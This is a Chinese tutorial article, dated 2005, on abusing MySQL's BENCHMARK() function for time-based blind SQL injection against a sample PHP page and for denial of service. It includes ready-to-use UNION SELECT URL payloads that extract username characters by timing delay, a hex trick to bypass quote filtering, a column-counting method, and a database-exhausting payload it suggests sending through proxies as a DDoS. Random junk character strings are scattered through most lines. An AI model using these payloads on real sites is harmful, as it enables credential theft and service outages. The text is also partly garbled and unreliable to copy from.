MYSQL中BENCHMARK函数的利用 4 R- q% X. Z( C8 c+ M! Y
本文作者:SuperHei$ }$ K+ h' o+ }* g s% A/ v
文章性质:原创
7 n: {! I- B. d( v5 t+ Y7 K. g- u发布日期:2005-01-02# e0 m# J! f$ }( G( U
完成日期:2004-07-09 @# _1 K& P9 A W& ?. w
第一部" p7 e* ~4 S" y. U
2 j; D8 Y& `% R
利用时间推延进行注射---BENCHMARK函数在注射中的利用 7 B0 J {# \& X7 M7 s6 L
0 p% M2 B% r& G+ C, C: G D( u4 }一.前言/思路
+ [6 z* t" ^0 d
6 I# f: ^; a/ J- |7 I 如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
; B5 w. ~9 H! r. Q+ X6 \; z! ?/ I0 R/ j0 K: Z) K
本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
* ~9 r$ v- l. U0 e- X2 P9 E. t3 D. d, c4 M3 j
二.关于BENCHMARK函数
# y _ e, C% ?. K `
+ w! C" {3 P& u6 X+ C 在MySQL参考手册里可以看到如下描叙:
/ P( c0 ^3 ]% N" J# n
0 K( ^$ H6 o6 j8 X3 R+ J( w, ~" G1 X+ N+ N i
--------------------------------------------------------------------------------
5 _& P3 P2 }- u! V: l: g7 z/ t
0 e+ \4 r: L; W; N" [$ KBENCHMARK(count,expr) ' a* U& v, K& `5 b
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
3 I+ p( [/ o0 D, u. dmysql> select BENCHMARK(1000000,encode("hello","goodbye")); : B$ o4 f% F) P& W$ g+ x
+----------------------------------------------+
4 n; T5 M4 S8 o: U" I7 P| BENCHMARK(1000000,encode("hello","goodbye")) |
2 I1 R4 g/ F+ Q# ?; g, {+----------------------------------------------+
" P4 J0 D `1 S* m6 i| 0 |
" J. p _! Y! T" {+----------------------------------------------+ 3 w. q" s' V Q( m L/ H5 u, p
1 row in set (4.74 sec) % M* `# \7 w7 P- B! b0 l" _1 g
: M; W, E5 Q+ c
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
! R# S+ d* e, {( F; r+ \) k4 w% d5 p. X0 z( J' ]/ {
3 r2 \5 m& R! g7 _4 j
--------------------------------------------------------------------------------
/ D0 h3 x$ j) a, F: R! q- o9 B" d" z# J q! B
只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
! c0 o `8 `' X$ D# \& v7 A6 w0 a1 @" k+ o
mysql> select md5( 'test' );
$ B$ z- Z8 b! ~+----------------------------------+ $ J4 p& G; ^4 c( R+ P
| md5( 'test' ) | 2 k, K, q& m$ H- }/ e
+----------------------------------+ 1 `8 j$ m9 r, `" X+ q* Q$ m. L
| 098f6bcd4621d373cade4e832627b4f6 | ; L2 M9 s5 a# S1 G5 f4 g5 v. f+ Q
+----------------------------------+ + F0 N) S) R* w) E3 Z
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
# w% x. t. a$ h( ?
1 A/ H1 l# V7 u, X5 d9 \mysql> select benchmark( 500000, md5( 'test' ) ); . A# c; g4 M0 l/ [
+------------------------------------+
- D% A% F+ J3 \! S- O( X5 i| benchmark( 500000, md5( 'test' ) ) | . `7 v% Y0 w* F$ z/ @
+------------------------------------+
4 D: t# }; l& `2 l i% L9 o w1 D| 0 |
6 U+ E# h5 m2 }7 u+------------------------------------+ # h9 L& y" w% S# _7 s
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec F$ n. s- ]6 `# X, X: T7 b
7 i0 [6 W+ o# v, u7 _
2 K. m. H3 s$ l) h7 g) c) l
由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 3 d( Y1 U4 Y1 {
0 [- m$ I- o" j三.具体例子; u/ z8 r+ a# J; ]" n& I/ q
4 _/ e: R+ O2 C, \ 首先我们看个简单的php代码:' W. E2 E& }$ A" d7 m5 V) J
$ R- i' G* x$ K- Y1 R
< ?php
$ y0 C0 v& ]! y9 h9 c! B$servername = "localhost";
; D# w- ]$ @% B! M: A" _$dbusername = "root";
9 H& \' g- p: N7 H U$dbpassword = ""; * m+ K3 j' l$ t5 L
$dbname = "injection";
. N% Y# d% [7 X2 ]. n/ h" e& W
8 J: Z M Z5 y% D- @) V0 E. Tmysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
: d* Z9 o# ?4 W* c
8 |8 ~9 s7 N. N& j: W' T7 @$sql = "SELECT * FROM article WHERE articleid=$id";
; Z$ S+ N8 N0 l: t( R0 x2 s( E$result = mysql_db_query($dbname,$sql);
) ?3 ~& {* L1 y% ?9 s$ P' l$row = mysql_fetch_array($result); ( d& {5 X7 C( T: T
0 C; F& N; K- D j
if (!$row) ) b0 a$ B( G6 n3 Y
{ $ j, ]2 y& d C3 M) C
exit; / ~" H. ^, m; w5 P
} * j4 M+ f5 d# e4 T) j+ x
?>
+ l3 {+ K/ W$ K& c- D- m
& g* n* L' ~( o( {; a; P7 L5 b: p* Y; } M2 \5 V
数据库injection结构和内容如下:: A" \; h+ e3 H, X" X1 j' M- Q
- H$ c- ~, N' l. R: p! r3 q9 I
# 数据库 : `injection` s% u$ m- F( |
#
# e8 f, z4 J; w: o9 y& f+ }4 o% Z& U& A( b
# --------------------------------------------------------
: F C( q* a* X( D* O
9 r# z4 }' U, R7 B+ Z# . l8 i) C' m7 D: L
# 表的结构 `article` + m! i( k" c# z7 {
# / r# w |, P& b" P0 X# b% c0 o
) s8 d8 w( c) D
CREATE TABLE `article` ( $ @ t# c: K9 Q2 z6 C0 S
`articleid` int(11) NOT NULL auto_increment,
0 ]" F, R0 c6 `' B* q' p4 i`title` varchar(100) NOT NULL default '',
' J7 G$ I m$ G. \`content` text NOT NULL, - ?! L- f( Z- ^" ^, S
PRIMARY KEY (`articleid`) ; `* w+ b; P/ w% ?. {# `
) TYPE=MyISAM AUTO_INCREMENT=3 ;
" w4 S1 V' m9 u9 w( O# c4 B1 b X: m v- E7 j0 x1 X
# 9 }0 h2 K" u8 Q% ]3 A5 M
# 导出表中的数据 `article` 7 [0 G0 ~! d5 o8 Q
# & s E, Q- |% `. `
9 z1 F" r7 i& r9 U3 f
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
( u' Z. w3 |; ?) w8 sINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
* y* Z0 Y% @) K2 y% O+ s4 \
; }- D' Y: I- g7 Y! f1 g5 e# -------------------------------------------------------- 2 \2 p% k8 g+ A! S4 I
! Y6 g+ Q' `; W# ) i4 G, l: j/ J" L7 Y9 G3 A
# 表的结构 `user` + p3 Q ?3 e0 W5 V) C N# g" V& l
#
5 `- O- [9 f A: C7 h* c: b
) g; B0 `% M0 eCREATE TABLE `user` ( ( S ?2 T. j3 g& B8 g3 h# }
`userid` int(11) NOT NULL auto_increment, $ _2 Q; R1 y8 x6 m0 t( [$ w
`username` varchar(20) NOT NULL default '',
* L2 E9 `& t- h. u& O) L) Y4 L`password` varchar(20) NOT NULL default '', 0 p: E3 d6 K3 g) Q E
PRIMARY KEY (`userid`) 1 c" A( f) \2 @, S5 E5 h, f* V& }
) TYPE=MyISAM AUTO_INCREMENT=3 ;
; a% o9 `2 C) T# |! }/ [
: t# @" ]/ {# J' o& ^7 h#
/ n+ V3 f# ?) z+ Y# 导出表中的数据 `user`
: C- m$ D1 T6 Z. G0 }/ N, r5 j#
- Q7 K2 B# d5 m9 V/ A* V. J' V; K1 [; g) X( k0 N2 g4 `4 Q
INSERT INTO `user` VALUES (1, 'angel', 'mypass'); 9 `0 d' Q X+ a+ E
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');/ O5 o9 Z( Z* e
1 ~0 F( n6 v" |% a9 W
+ L' E; O( d, n- Y+ e& c 代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:# m: S4 n, v5 g. P6 O+ B
- k1 \: j9 |- {0 x
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
' X3 b+ K! h+ Y. h o
+ Y i* [" M4 Z$ m. D/ b' I8 {/ X) I9 `; U& o* T) e/ z
上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:- D2 Q6 i( s* q
7 ^8 _, b( B0 p. L, Bhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
" ~0 m1 p! K& d$ @ 6 V1 g% e2 S0 p8 s, n/ U) z/ O4 |
: ]# I8 p: Z# V& A1 Q1 ~6 a 执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
9 s: y3 e3 ?3 {: j
( t" P; Z8 y1 Z8 u6 w8 U 注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 - H3 q) a* g4 \: y; ^$ [: |
/ v7 s2 P! T$ H' j& D: h" l& ]9 A第二部/ _2 J8 d* R4 q( u
# ^: _% A3 R, o) g1 {8 Y5 t
利用BENCHMARK函数进行ddos攻击
, c! l0 T4 R# x
+ u! t+ V2 [1 v( ]6 M; w 其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
- q7 Y) C" v- r/ Y6 V5 M. s2 f. j# s# H0 H
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))( ?8 f1 Z8 ^, n1 N
2 r) \" K: e5 h" P3 R1 e9 i: b; H
( J' q. I. [/ V. X1 }
小结1 o4 Z9 \; W# `2 V
6 O3 P6 e2 |& n; r! y/ s& T/ L 本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
2 Z i7 K( `4 p& V! W; n " D# [% j% u9 _9 y" L/ I
* V+ \. ~8 a* [
|